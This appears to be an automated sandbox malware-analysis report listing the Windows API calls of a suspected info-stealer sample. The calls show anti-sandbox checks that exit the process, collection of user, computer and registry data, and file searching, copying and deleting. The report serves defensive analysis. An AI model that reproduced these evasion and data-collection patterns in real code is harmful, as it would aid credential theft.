Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,042C7660,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00409BB1
lstrlen.KERNEL32(00000000), ref: 00409F6A

Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrlen.KERNEL32(00000000,00000000), ref: 00409CAD
DeleteFileA.KERNEL32(00000000), ref: 00409FEB

Strings

X@, xrefs: 00409BC4, 00409BF0, 00409FCD, 00409BC7, 00409BF3, 00409FD0

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$AllocCopyDeleteLocalSystemTimememcmpmemset
String ID: X@
API String ID: 3258613111-2850556465
Opcode ID: cd8ce6d40e5afa3ebb260d2b60027121d441955b8b015006d91c09b557981aa9
Instruction ID: 70962d3f4e1e977daa55f2855abdfba287f36735b870bb76fdd61a7d9847a281
Opcode Fuzzy Hash: cd8ce6d40e5afa3ebb260d2b60027121d441955b8b015006d91c09b557981aa9
Instruction Fuzzy Hash: BCD10376D101089ACB14FBA5DC91EEE7739BF14304F51825EF51672091EF38AA89CBB8

Uniqueness

Uniqueness Score: -1.00%

Function 004136B0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,042C2750), ref: 00415F11
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,042C2528), ref: 00415F2A
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,042C2690), ref: 00415F42
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,042C2600), ref: 00415F5A
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,042C2660), ref: 00415F73
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,042C3848), ref: 00415F8B
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,042A7B30), ref: 00415FA3
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,042A7D50), ref: 00415FBC
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,042C2738), ref: 00415FD4
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,042C27E0), ref: 00415FEC
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,042C26D8), ref: 00416005
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,042C25E8), ref: 0041601D
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,042A7B70), ref: 00416035
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,042C2798), ref: 0041604E

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011D1

Part of subcall function 00401120: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004136D7,0041D6E3), ref: 0040112A
Part of subcall function 00401120: ExitProcess.KERNEL32 ref: 0040113E

Part of subcall function 004010D0: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004136DC), ref: 004010EB
Part of subcall function 004010D0: VirtualAllocExNuma.KERNEL32(00000000,?,?,004136DC), ref: 004010F2
Part of subcall function 004010D0: ExitProcess.KERNEL32 ref: 00401103

Part of subcall function 004011E0: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 004011FE
Part of subcall function 004011E0: __aulldiv.LIBCMT ref: 00401218
Part of subcall function 004011E0: __aulldiv.LIBCMT ref: 00401226
Part of subcall function 004011E0: ExitProcess.KERNEL32 ref: 00401254

Part of subcall function 00413430: GetUserDefaultLangID.KERNEL32(?,?,004136E6,0041D6E3), ref: 00413434

Part of subcall function 00401150: ExitProcess.KERNEL32 ref: 00401186

Part of subcall function 004143C0: GetProcessHeap.KERNEL32(00000000,00000104,00401177,042C37E8,004136EB,0041D6E3), ref: 004143CD
Part of subcall function 004143C0: HeapAlloc.KERNEL32(00000000), ref: 004143D4
Part of subcall function 004143C0: GetUserNameA.ADVAPI32(?,00000104), ref: 004143EC

Part of subcall function 00414400: GetProcessHeap.KERNEL32(00000000,00000104,004136EB,0041D6E3), ref: 0041440D
Part of subcall function 00414400: HeapAlloc.KERNEL32(00000000), ref: 00414414
Part of subcall function 00414400: GetComputerNameA.KERNEL32(?,00000104), ref: 0041442C

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,042C3828,?,0041D8AC,?,00000000,?,0041D8B0,?,00000000,0041D6E3), ref: 0041378A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 004137A8
CloseHandle.KERNEL32(00000000), ref: 004137B9
Sleep.KERNEL32(00001770), ref: 004137C4
CloseHandle.KERNEL32(?,00000000,?,042C3828,?,0041D8AC,?,00000000,?,0041D8B0,?,00000000,0041D6E3), ref: 004137DA
ExitProcess.KERNEL32 ref: 004137E2

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$Alloclstrcpy$CloseEventHandleNameUser__aulldiv$ComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 1175201934-0
Opcode ID: 730e3f6f912575f9d2f5eb501aecbfb4f2d6af79dc721135fd94b85e33000efd
Instruction ID: 0037ec1138340b95bb434dc328289296f16cab3c571637fdb93d627daa89b4d0
Opcode Fuzzy Hash: 730e3f6f912575f9d2f5eb501aecbfb4f2d6af79dc721135fd94b85e33000efd
Instruction Fuzzy Hash: 7E318270A00204AADB04FBF2DC56BEE7779AF08708F10451EF112A61D2DF789A85C7AD

Uniqueness

Uniqueness Score: -1.00%

Function 004123F0 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,042C60B8), ref: 0041244B

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

lstrcat.KERNEL32(?,00000000), ref: 00412471
lstrcat.KERNEL32(?,?), ref: 00412490
lstrcat.KERNEL32(?,?), ref: 004124A4
lstrcat.KERNEL32(?,042A7308), ref: 004124B7
lstrcat.KERNEL32(?,?), ref: 004124CB
lstrcat.KERNEL32(?,042C6B38), ref: 004124DF

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00415490: GetFileAttributesA.KERNEL32(00000000,?,0040E9F4,?,00000000,?,00000000,0041D76E,0041D76B), ref: 0041549F

Part of subcall function 004121F0: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00412200
Part of subcall function 004121F0: HeapAlloc.KERNEL32(00000000), ref: 00412207
Part of subcall function 004121F0: wsprintfA.USER32 ref: 00412223
Part of subcall function 004121F0: FindFirstFileA.KERNEL32(?,?), ref: 0041223A

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 167551676-0
Opcode ID: 6103e27345c9a11c188d3e1fa81259371cccefca6cbec786149d127ceb43b465
Instruction ID: 26a05e4f659b4c4b868bb0234a0ad995871bbc4a3af1f84cd303f322fad0653f
Opcode Fuzzy Hash: 6103e27345c9a11c188d3e1fa81259371cccefca6cbec786149d127ceb43b465
Instruction Fuzzy Hash: 083164B6900608A7CB20FBB0DC95EE9773DAB48704F40458EB3469A051EA7897C8CFD8

Uniqueness

Uniqueness Score: -1.00%

Function 004011E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 004011FE
__aulldiv.LIBCMT ref: 00401218
__aulldiv.LIBCMT ref: 00401226
ExitProcess.KERNEL32 ref: 00401254

Strings

@, xrefs: 004011F3

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: bb81cb4acda70f26030c3c2501203c3bf716c46d07ed01ddf58a3b899f1b5564
Instruction ID: 7bcd30568b3a9749f5c78c38f6ef54fea4689c821e8202ed383253ad67bcf250
Opcode Fuzzy Hash: bb81cb4acda70f26030c3c2501203c3bf716c46d07ed01ddf58a3b899f1b5564
Instruction Fuzzy Hash: 8601FFB0940208EADB10EFD0CD4AB9EBBB8AB54705F204059E705B62D0D6785545875D

Uniqueness

Uniqueness Score: -1.00%

Function 6CCBC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6CCBC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CCBC969
GetSystemInfo.KERNEL32(?), ref: 6CCBC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CCBC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CCBC9E2

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: f06389a0bd9e85848bccb349eb39872ab4905a93cbf5436c2dd4c0e63d9517a6
Instruction ID: 5c91d7412a71843cd896c6ffb9114d1cbb6e408579673f1def8965a74728e731
Opcode Fuzzy Hash: f06389a0bd9e85848bccb349eb39872ab4905a93cbf5436c2dd4c0e63d9517a6
Instruction Fuzzy Hash: C8219531B416146BFB14AA65DC84BAE73BDFB46704F50051EFB47A7A80EB74A8048791

Uniqueness

Uniqueness Score: -1.00%

Function 00412980 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

lstrcat.KERNEL32(?,00000000), ref: 004129BA
lstrcat.KERNEL32(?,0041D888), ref: 004129D7
lstrcat.KERNEL32(?,042C3668), ref: 004129EB
lstrcat.KERNEL32(?,0041D88C), ref: 004129FD

Part of subcall function 00412570: wsprintfA.USER32 ref: 00412589
Part of subcall function 00412570: FindFirstFileA.KERNELBASE(?,?), ref: 004125A0

Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D864), ref: 004125CE
Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D868), ref: 004125E4
Part of subcall function 00412570: FindNextFileA.KERNEL32(000000FF,?), ref: 004127B9
Part of subcall function 00412570: FindClose.KERNEL32(000000FF), ref: 004127CE

Strings

L0A, xrefs: 00412A22, 00412A51, 00412A73, 00412A25, 00412A54

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID: L0A
API String ID: 2667927680-1482484291
Opcode ID: f3e6bd076d21e16df55fd7eb472b4ad65ac1318d51bf9674c6e2c7c7c76ac990
Instruction ID: f34e92357168eddbedcb052ffd5f2c6281475bb6170069d81cff4dd89e8051f4
Opcode Fuzzy Hash: f3e6bd076d21e16df55fd7eb472b4ad65ac1318d51bf9674c6e2c7c7c76ac990
Instruction Fuzzy Hash: A621CCBA9005087BC724FBA0DD46EDA373E9B54745F00058AB64956081EE7867C48BD5

Uniqueness

Uniqueness Score: -1.00%

Function 00401260 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 00401274
HeapAlloc.KERNEL32(00000000), ref: 0040127B
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00401297
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012B5
RegCloseKey.ADVAPI32(?), ref: 004012BF

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: df6da7dedf044903e367d3d8a7ae0c03a7d74832a2c3d67e0360b54011cb2cfc
Instruction ID: 7bc2c45b39987af01ac2684a9b0918313f40fb8da876f9e4b9d967da472c28c8
Opcode Fuzzy Hash: df6da7dedf044903e367d3d8a7ae0c03a7d74832a2c3d67e0360b54011cb2cfc
Instruction Fuzzy Hash: 3C011D79A40608BFDB20DFE0DD49FAEB779AB88700F008159FA05E7280DA749A018B90

Uniqueness

Uniqueness Score: -1.00%

Function 00414740 Relevance: 7.5, APIs: 5, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00414754
HeapAlloc.KERNEL32(00000000), ref: 0041475B
RegOpenKeyExA.KERNEL32(80000002,042ABCF8,00000000,00020119,00000000), ref: 0041477B
RegQueryValueExA.KERNEL32(00000000,042C6A38,00000000,00000000,000000FF,000000FF), ref: 0041479C
RegCloseKey.ADVAPI32(00000000), ref: 004147A6

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 3dd853a6faa74efcafe4ce3258c312c5c269cfcf31c2ef5712d88dc1f31cf0da
Instruction ID: 520453153fef2218f7e1f18e9bcc50e310f062f1fe861ea372c3465721436b4a
Opcode Fuzzy Hash: 3dd853a6faa74efcafe4ce3258c312c5c269cfcf31c2ef5712d88dc1f31cf0da
Instruction Fuzzy Hash: 62013C79A40608FFDB20DBE4ED49FAEB779EB88700F108159FA05A6290DB705A018F90

Uniqueness

Uniqueness Score: -1.00%

Function 00414300 Relevance: 7.5, APIs: 5, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00414314
HeapAlloc.KERNEL32(00000000), ref: 0041431B
RegOpenKeyExA.KERNEL32(80000002,042ABE10,00000000,00020119,00000000), ref: 0041433B
RegQueryValueExA.KERNEL32(00000000,042C6418,00000000,00000000,000000FF,000000FF), ref: 0041435C
RegCloseKey.ADVAPI32(00000000), ref: 00414366

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 423f413abd2b9c08310d568d7ed0a8882adbdfbf2920ff6ae677e6fc83315809
Instruction ID: 8a55c6bb4586fa39bc5dd89715e436abefd5940c4b9bd8db073c1251d6bd8ac1
Opcode Fuzzy Hash: 423f413abd2b9c08310d568d7ed0a8882adbdfbf2920ff6ae677e6fc83315809
Instruction Fuzzy Hash: E3014FB5A40608BFDB20DBE4ED49FAEB77DEB88701F005154FA05E7290DB70AA01CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00409970 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(042C3788,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,0040EA16), ref: 0040998D
LoadLibraryA.KERNEL32(042C6D58,?,?,?,?,?,?,?,?,?,?,?,0040EA16), ref: 00409A16

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,042C3828,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

SetEnvironmentVariableA.KERNEL32(042C3788,00000000,00000000,?,0041DA4C,?,0040EA16,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0041D6EF), ref: 00409A02

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 00409982, 00409996, 004099AC

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-4027016359
Opcode ID: 8ade76cb7972d7545d1cdae6b8c2efec5127d19485faea56a3866a558087ec3a
Instruction ID: 6647cd3c00128b620a4a232c7fbe97fce3d03bd073b05a107f0d1bf2b4fd60a8
Opcode Fuzzy Hash: 8ade76cb7972d7545d1cdae6b8c2efec5127d19485faea56a3866a558087ec3a
Instruction Fuzzy Hash: 134196B5900A009BDB24DFA4FD85AAE37B6BB44305F01512EF405A72E2DFB89D46CF54

Uniqueness

Uniqueness Score: -1.00%

Function 004065D0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,@:h@,@:h@), ref: 0040668F

Strings

@:h@, xrefs: 00406670, 00406673
:h@, xrefs: 0040660D, 00406629, 00406678, 00406688, 004065F4, 00406618, 00406623
:h@, xrefs: 004065DD, 004065FD, 0040667F

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: :h@$:h@$@:h@
API String ID: 544645111-3492212131
Opcode ID: 3a0ba57e5e1d9d33aaf5f8e161c54dbb9d0ff39d4d0ab0475c83cdde206519fc
Instruction ID: 05c83ec730d02739dc9afbe7597ff905435882b08ae1c12394b3aafa6fe5c026
Opcode Fuzzy Hash: 3a0ba57e5e1d9d33aaf5f8e161c54dbb9d0ff39d4d0ab0475c83cdde206519fc
Instruction Fuzzy Hash: 272131B4A00208EFDB04CF85C544BAEBBB1FF48304F1185AAD406AB381D3399A91DF85

Uniqueness

Uniqueness Score: -1.00%

Function 0040CEC0 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,042C7660,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040CF41
lstrlen.KERNEL32(00000000), ref: 0040D0DF
lstrlen.KERNEL32(00000000), ref: 0040D0F3
DeleteFileA.KERNEL32(00000000), ref: 0040D16C

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: cd629de8ee10eada1f72c85526e9c289853b14595428188ec74a26340a2c39ec
Instruction ID: 64a31cdf4344fffa4b83296b1621afa9cae3fe45de11617b70f8002e61f1a089
Opcode Fuzzy Hash: cd629de8ee10eada1f72c85526e9c289853b14595428188ec74a26340a2c39ec
Instruction Fuzzy Hash: 758147769102049BCB14FBA1DC52EEE7739BF54308F51411EF516B6091EF38AA89CBB8

Uniqueness

Uniqueness Score: -1.00%

Function 0040FD10 Relevance: 6.1, APIs: 2, Strings: 1, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 004141C0: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 004141DF
Part of subcall function 004141C0: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041421C
Part of subcall function 004141C0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004142A0
